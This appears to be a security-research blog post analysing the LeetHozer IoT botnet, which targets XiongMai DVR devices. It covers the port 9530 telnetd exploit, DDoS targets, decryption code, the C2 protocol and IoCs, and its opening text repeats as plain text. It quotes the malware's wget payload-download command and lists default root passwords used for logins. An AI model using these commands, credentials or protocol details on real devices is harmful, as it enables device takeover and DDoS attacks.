The LeetHozer botnet
<!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On March 26, 2020, we captured a suspicious sample<code>11c1be44041a8e8ba05be9df336f9231</code>. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.</p>
<p>The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.</p>
<p>For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.</p>
<p>But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :<code>vbrxmrhrjnnouvjf.onion:31337</code>)</p>
<p>So we think we should blog it and decide to name it LeetHozer because of  the<code>H0z3r</code> string(<code>/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - &gt; H0z3r;</code>)</p>
<p>The targets devices currently observed are mainly <a href="http://www.xiongmaitech.com/en/index.php/news/info/12/68">XiongMai H.264 and H.265 devices</a>.</p>
<h2 id="propagation">Propagation</h2>
<ul>
<li>In 2017, security researchers disclosed the vulnerability<a href="https://www.cnblogs.com/mmseh/p/6537924.html">[2]</a>.</li>
<li>2020-02-04 POC was released on github<a href="https://habr.com/en/post/486856/">[3]</a>。<a href="https://github.com/Snawoot/hisilicon-dvr-telnet">[4]</a>.</li>
<li>2020-02-11 We saw a <a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">moobot</a> variant we called <code>moobot_xor</code> exploiting this vulnerability.</li>
<li>2020-03-26 <code>LeetHozer</code> began to exploit the vulnerability.</li>
</ul>
<p>LeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then  login to the device with the default password to complete the infection process. The propagation process is shown in the figure:<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_flow.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_flow.png" class="kg-image"/></a></p>
<p>The source IP currently exploiting the vulnerability is around 4.5k per day.<br>
<a href="__GHOST_URL__/content/images/2020/04/dvr.9530.png"><img src="__GHOST_URL__/content/images/2020/04/dvr.9530.m.png" class="kg-image"/></a></p>
<p>LeetHozer and moobot_xor used the same unique string <code>/bin/busybox DNXXXFF</code>  in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.</p>
<p>The time periods and the downloader shared by the two families are as follows:</p>
<pre><code>date=2020-03-26 08:11:46+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00  md5=b7b2ae292bf182b0d91535770394ad93    family_name=moobot_xor  url=http://185.172[.110.224/ab/arm
</code></pre>
<h2 id="therecentleethozerddostargetswecurrentlysee">The recent LeetHozer DDos targets we currently see</h2>
<pre><code>2020-04-07	37.49.226.171         	31337	ddos	tcpraw  	45.83.128.252  	ASN40676 	Psychz_Networks
2020-04-07	37.49.226.171         	31337	ddos	udpplain	172.106.18.210 	ASN40676 	Psychz_Networks
2020-04-08	37.49.226.171         	31337	ddos	udpplain	185.172.110.224	ASN206898	Server_Hosting_Pty_Ltd
2020-04-11	w6gr2jqz3eag4ksi.onion	31337	ddos	icmpecho	185.38.151.161 	ASN25369 	Hydra_Communications_Ltd
2020-04-13	37.49.226.171         	31337	ddos	icmpecho	73.99.44.254   	ASN7922  	Comcast_Cable_Communications,_LLC
2020-04-13	37.49.226.171         	31337	ddos	icmpecho	94.174.77.69   	ASN5089  	Virgin_Media_Limited
2020-04-13	37.49.226.171         	31337	ddos	udppplain	94.174.77.69   	ASN5089  	Virgin_Media_Limited
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	117.27.239.28  	ASN133774	Fuzhou
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	185.172.110.224	ASN206898	Server_Hosting_Pty_Ltd
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	52.47.76.48    	ASN16509 	Amazon.com,_Inc.
2020-04-16	37.49.226.171         	31337	ddos	tcpraw  	117.27.239.28  	ASN133774	Fuzhou
2020-04-16	37.49.226.171         	31337	ddos	tcpraw  	162.248.93.234 	ASN32374 	Nuclearfallout_Enterprises,_Inc.
2020-04-16	37.49.226.171         	31337	ddos	udpplain	71.222.69.77   	ASN209   	CenturyLink_Communications,_LLC
2020-04-17	37.49.226.171         	31337	ddos	udpplain	117.27.239.28  	ASN133774	Fuzhou
2020-04-18	37.49.226.171         	31337	ddos	tcpraw  	76.164.193.89  	ASN36114 	Versaweb,_LLC
2020-04-18	37.49.226.171         	31337	ddos	udpplain	117.27.239.28  	ASN133774	Fuzhou
2020-04-18	37.49.226.171         	31337	ddos	udpplain	66.150.188.101 	ASN32374 	Nuclearfallout_Enterprises,_Inc.
2020-04-19	37.49.226.171         	31337	ddos	tcpraw  	117.27.239.28  	ASN133774	Fuzhou
2020-04-19	37.49.226.171         	31337	ddos	udpplain	108.61.22.86   	ASN20473 	Choopa,_LLC
2020-04-19	37.49.226.171         	31337	ddos	udpplain	108.61.33.194  	ASN20473 	Choopa,_LLC
2020-04-19	37.49.226.171         	31337	ddos	udpplain	172.107.228.198	ASN40676 	Psychz_Networks
2020-04-19	37.49.226.171         	31337	ddos	udpplain	192.99.226.11  	ASN16276 	OVH_SAS
2020-04-19	37.49.226.171         	31337	ddos	udpplain	209.58.147.245 	ASN394380	Leaseweb_USA,_Inc.
2020-04-19	37.49.226.171         	31337	ddos	udpplain	24.46.209.115  	ASN6128  	Cablevision_Systems_Corp.
2020-04-19	37.49.226.171         	31337	ddos	udpplain	71.222.69.77   	ASN209   	CenturyLink_Communications,_LLC
2020-04-20	37.49.226.171         	31337	ddos	udpplain	139.28.218.180 	ASN9009  	M247_Ltd
2020-04-20	37.49.226.171         	31337	ddos	udpplain	74.91.122.90   	ASN14586 	Nuclearfallout_Enterprises,_Inc.
2020-04-23	37.49.226.171         	31337	ddos	icmpecho	162.244.55.107 	ASN49544 	i3D.net_B.V
2020-04-23	37.49.226.171         	31337	ddos	udpplain	162.244.55.107 	ASN49544 	i3D.net_B.V
</code></pre>
<h2 id="reverseanalysis">Reverse analysis</h2>
<p>At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_version.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_version.png" class="kg-image"/></a><br>
We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.</p>
<blockquote>
<p>MD5:		57212f7e253ecebd39ce5a8a6bd5d2df</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:	None</p>
<p>Library: uclibc</p>
<p>Version: V2</p>
</blockquote>
<h3 id="samplebehavior">Sample behavior</h3>
<p>The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named <code>.1</code>, and prints out <code>/bin/sh:./a.out:not found</code> string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.</p>
<p>The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.</p>
<p>The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:</p>
<pre><code>xorkey=&quot;qE6MGAbI&quot;

def decode_str(ctxt):
    for i in range(0,len(xorkey)):
        plain=&quot;&quot;
        size=len(ctxt)    
        for idx in range(0, size):
            ch=ord(ctxt[idx]) 
            ch ^=(ord(xorkey[i]) + idx )
            plain += chr(ch)
        ctxt=plain
    return ctxt
</code></pre>
<p>After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.</p>
<table>
<thead>
<tr>
<th><strong>.1</strong></th>
<th><strong>/dev/watchdog</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>/dev/misc/watchdog</strong></td>
<td><strong>/bin/sh: ./a.out: not found</strong></td>
</tr>
<tr>
<td><strong>w6gr2jqz3eag4ksi.onion</strong></td>
<td></td>
</tr>
</tbody>
</table>
<p>The specific implementation of the Bot function is as follows:，</p>
<ol>
<li>
<p>Set watchdog to prevent device restart<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Bot singleton through PID file<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Scan, exploitation and report information</p>
<ul>
<li>
<p>mirai's fast port scan technique has been borrowed, the scanned port is 9530<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_scan.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_scan.png" class="kg-image"/></a></p>
</li>
<li>
<p>Use the vulnerability to enable the telnetd service and try to log in with the following credentials.</p>
<pre><code>root:xc3511
root:xmhdipc
root:klv123
root:123456
root:jvbzd
root:hi3518
root:tsgoingon
</code></pre>
</li>
<li>
<p>Report device information after successful login<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_report.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_report.png" class="kg-image"/></a></p>
</li>
</ul>
</li>
<li>
<p>Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.</p>
<table>
<thead>
<tr>
<th>version</th>
<th>command</th>
</tr>
</thead>
<tbody>
<tr>
<td>V1</td>
<td>tcpraw</td>
</tr>
<tr>
<td>v2</td>
<td>tcpraw;icmpecho;udpplain</td>
</tr>
</tbody>
</table>
<p>However, the data format of the attack command is the same, and its structure is <code>Header(6 bytes),Option1,Option2...</code>，in which the structure of Option is<code>Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding</code>, the following takes an actual attack command as an example to explain the parsing process.</p>
<pre><code>00000000: 3E 00 3F 00 3A 00 01 00  08 00 04 00 75 64 70 70  &gt;.?.:.......udpp
00000010: 6C 61 69 6E 00 00 00 00  01 00 0E 00 06 00 31 33  lain..........13
00000020: 39 2E 32 38 2E 32 31 38  2E 31 38 30 00 00 00 00  9.28.218.180....
00000030: 02 00 01 00 0C 00 50 00  02 00 01 00 05 00 64 00  ......P.......d.
----------------------------------------------------------------------------
Header: 	3E 00 3F 00 3A 00, ----Little endian 
				0x003E		---- xor key
				0x003A		---- 0x3A xor 0x3E = 4 个Option
Opt 1:		01 00 08 00 04 00, ----Little endian 
				0x0001		----Type 1,Padding 4 bytes
				0x0008		----Content length,len(&quot;udpplain&quot;) = 8
				0x0004		----Subtype 4,Contents为attack vector
			Contents: udpplain
			Padding: 00 00 00 00
			
Opt 2:		01 00 0E 00 06 00, ----Little endian 
				0x0001		----Type 1,Padding 4 bytes
				0x000e		----Content length
				0x0006		----Subtype 6,Contents为attack target
             Contents: 139.28.218.180
             Padding: 00 00 00 00
			
Opt 3:		02 00 01 00 0c 00, ----Little endian 
				0x0002		----Type 2,No Padding
				0x0001		----Type 2 Ignore this field，Contents length is always 2 bytes
             0x000c		----Subtype 0xc,Contents为target port
             Contents: 80

Opt 4:		02 00 01 00 05 00, ----Little endian 
				0x0002		----Type 2,No Padding
				0x0001		----Type 2 Ignore this field，Contents length is always 2 bytes
				0x0005		----Subtype 0x05,Contents is attack duration
             Contents: 0x0064
</code></pre>
</li>
</ol>
<h3 id="communicationprotocols">Communication protocols</h3>
<p>Two types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.</p>
<ol>
<li>
<p>Tor-C2，supported by V1，Not used in V2.</p>
<pre><code>  w6gr2jqz3eag4ksi.onion:31337
</code></pre>
</li>
<li>
<p>IP-C2，supported by V2.</p>
<pre><code>37.49.226.171:31337
</code></pre>
</li>
</ol>
<p>Tor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.</p>
<ul>
<li>
<p>Establish a connection with C2 through Tor proxy<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_proxy.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_proxy.png" class="kg-image"/></a></p>
<p>The hardcode proxy list:</p>
<pre><code>   45.82.176.194:9034
   91.236.251.131:9712
   18.177.13.247:443
   62.109.8.218:8888
   82.99.213.98:9191
   35.225.55.174:9251
   194.99.22.206:9050
   45.147.199.142:8060
   47.104.188.20:8999
   54.149.179.115:9050
   195.128.102.178:9050
   185.176.25.66:9002
   54.188.106.141:9080
   193.47.35.56:10000
   88.193.137.205:9050
   134.209.84.21:9119
   194.58.111.244:9050
   192.99.161.66:9050
   193.47.35.53:9090
   167.179.74.97:9251
   185.30.228.141:9050
</code></pre>
</li>
<li>
<p>First round of interaction</p>
<p>The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundone.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundone.png" class="kg-image"/></a></p>
<p>The meaning of some key fields</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>2 bytes</td>
<td>0x8f49</td>
<td>source port</td>
</tr>
<tr>
<td>0x02</td>
<td>2 bytes</td>
<td>0x7a69</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x00004818</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x0e</td>
<td>2 bytes</td>
<td>0x0001</td>
<td>first  round</td>
</tr>
<tr>
<td>0x14</td>
<td>4 bytes</td>
<td>0x0051cc</td>
<td>checksum</td>
</tr>
</tbody>
</table>
<p>The calculation of checksum is as follows</p>
<pre><code>step 1: calc the sum of the first 12 WORD
		(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
		+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
step 2:(HWORD(sum) + LWORD(sum)) &gt;&gt; 16
		(0x0001+0x51CB) &gt;&gt; 16 = 0;
step 3:(HWORD(sum) + LWORD(sum)) &amp;&amp; 0Xffff
		(0x0001+0x51cb) &amp;&amp; 0xffff = 0x000051cc
</code></pre>
<p>The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x000070f1</td>
<td>valid flag1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x00004819</td>
<td>valid flag2</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Second round of interaction</p>
<p>The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>8 bytes</td>
<td>0x7a697a69,0x000070f1</td>
<td>C2 reply in the round 1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x000070f2</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x0e</td>
<td>2 bytes</td>
<td>0x0002</td>
<td>second round</td>
</tr>
<tr>
<td>0x14</td>
<td>4 bytes</td>
<td>0x00d665</td>
<td>checksum</td>
</tr>
</tbody>
</table>
<p>The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot's online process is completed.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x00002775</td>
<td>valid flag1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x000070f2</td>
<td>valid flag2</td>
</tr>
</tbody>
</table>
</li>
</ul>
<p>At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.</p>
<ul>
<li>
<p>Instruction code: <code>0x00</code> indicates heartbeat<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Instruction code: <code>0x01</code> indicates reporting Bot group information<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_group-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_group-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Instruction code: Not <code>0x00</code> <code>0x01</code> indicates DDoS attack.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png" class="kg-image"/></a></p>
</li>
</ul>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email to netlab at 360 dot cn.</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="c2">C2</h3>
<pre><code>vbrxmrhrjnnouvjf.onion:31337  #v3
37.49.226.171:31337           #v2
w6gr2jqz3eag4ksi.onion:31337  #v1
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86
</code></pre>
<h3 id="ip">IP</h3>
<pre><code>185.172.110.224     Netherlands    ASN206898    Server_Hosting_Pty_Ltd
185.225.19.57       Romania        ASN39798     MivoCloud_SRL
37.49.226.171       Netherlands    ASN208666    Estro_Web_Services_Private_Limited
64.225.64.58        Netherlands    ASN14061     DigitalOcean,_LLC
188.214.30.178      Romania        ASN51177     THC_Projects_SRL
190.115.18.144      Russian        ASN262254    DANCOM_LTD
</code></pre>
<!--kg-card-end: markdown-->
Background


On March 26, 2020, we captured a suspicious sample11c1be44041a8e8ba05be9df336f9231. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.


The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.


For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.


But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :vbrxmrhrjnnouvjf.onion:31337)


So we think we should blog it and decide to name it LeetHozer because of theH0z3r string(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)


The targets devices currently observed are mainly XiongMai H.264 and H.265 devices.



Propagation


 * In 2017, security researchers disclosed the vulnerability[2].
 * 2020-02-04 POC was released on github[3]。[4].
 * 2020-02-11 We saw a moobot variant we called moobot_xor exploiting this vulnerability.
 * 2020-03-26 LeetHozer began to exploit the vulnerability.


LeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:




The source IP currently exploiting the vulnerability is around 4.5k per day.




LeetHozer and moobot_xor used the same unique string /bin/busybox DNXXXFF in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.


The time periods and the downloader shared by the two families are as follows:


date=2020-03-26 08:11:46+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00  md5=11c1be44041a8e8ba05be9df336f9231    family_name=LeetHozer   url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00  md5=b7b2ae292bf182b0d91535770394ad93    family_name=moobot_xor  url=http://185.172[.110.224/ab/arm




The recent LeetHozer DDos targets we currently see


2020-04-07	37.49.226.171         	31337	ddos	tcpraw  	45.83.128.252  	ASN40676 	Psychz_Networks
2020-04-07	37.49.226.171         	31337	ddos	udpplain	172.106.18.210 	ASN40676 	Psychz_Networks
2020-04-08	37.49.226.171         	31337	ddos	udpplain	185.172.110.224	ASN206898	Server_Hosting_Pty_Ltd
2020-04-11	w6gr2jqz3eag4ksi.onion	31337	ddos	icmpecho	185.38.151.161 	ASN25369 	Hydra_Communications_Ltd
2020-04-13	37.49.226.171         	31337	ddos	icmpecho	73.99.44.254   	ASN7922  	Comcast_Cable_Communications,_LLC
2020-04-13	37.49.226.171         	31337	ddos	icmpecho	94.174.77.69   	ASN5089  	Virgin_Media_Limited
2020-04-13	37.49.226.171         	31337	ddos	udppplain	94.174.77.69   	ASN5089  	Virgin_Media_Limited
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	117.27.239.28  	ASN133774	Fuzhou
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	185.172.110.224	ASN206898	Server_Hosting_Pty_Ltd
2020-04-16	37.49.226.171         	31337	ddos	icmpecho	52.47.76.48    	ASN16509 	Amazon.com,_Inc.
2020-04-16	37.49.226.171         	31337	ddos	tcpraw  	117.27.239.28  	ASN133774	Fuzhou
2020-04-16	37.49.226.171         	31337	ddos	tcpraw  	162.248.93.234 	ASN32374 	Nuclearfallout_Enterprises,_Inc.
2020-04-16	37.49.226.171         	31337	ddos	udpplain	71.222.69.77   	ASN209   	CenturyLink_Communications,_LLC
2020-04-17	37.49.226.171         	31337	ddos	udpplain	117.27.239.28  	ASN133774	Fuzhou
2020-04-18	37.49.226.171         	31337	ddos	tcpraw  	76.164.193.89  	ASN36114 	Versaweb,_LLC
2020-04-18	37.49.226.171         	31337	ddos	udpplain	117.27.239.28  	ASN133774	Fuzhou
2020-04-18	37.49.226.171         	31337	ddos	udpplain	66.150.188.101 	ASN32374 	Nuclearfallout_Enterprises,_Inc.
2020-04-19	37.49.226.171         	31337	ddos	tcpraw  	117.27.239.28  	ASN133774	Fuzhou
2020-04-19	37.49.226.171         	31337	ddos	udpplain	108.61.22.86   	ASN20473 	Choopa,_LLC
2020-04-19	37.49.226.171         	31337	ddos	udpplain	108.61.33.194  	ASN20473 	Choopa,_LLC
2020-04-19	37.49.226.171         	31337	ddos	udpplain	172.107.228.198	ASN40676 	Psychz_Networks
2020-04-19	37.49.226.171         	31337	ddos	udpplain	192.99.226.11  	ASN16276 	OVH_SAS
2020-04-19	37.49.226.171         	31337	ddos	udpplain	209.58.147.245 	ASN394380	Leaseweb_USA,_Inc.
2020-04-19	37.49.226.171         	31337	ddos	udpplain	24.46.209.115  	ASN6128  	Cablevision_Systems_Corp.
2020-04-19	37.49.226.171         	31337	ddos	udpplain	71.222.69.77   	ASN209   	CenturyLink_Communications,_LLC
2020-04-20	37.49.226.171         	31337	ddos	udpplain	139.28.218.180 	ASN9009  	M247_Ltd
2020-04-20	37.49.226.171         	31337	ddos	udpplain	74.91.122.90   	ASN14586 	Nuclearfallout_Enterprises,_Inc.
2020-04-23	37.49.226.171         	31337	ddos	icmpecho	162.244.55.107 	ASN49544 	i3D.net_B.V
2020-04-23	37.49.226.171         	31337	ddos	udpplain	162.244.55.107 	ASN49544 	i3D.net_B.V




Reverse analysis


At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.



We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.





MD5: 57212f7e253ecebd39ce5a8a6bd5d2df


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped


Packer: None


Library: uclibc


Version: V2




Sample behavior


The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named .1, and prints out /bin/sh:./a.out:not found string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.


The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.


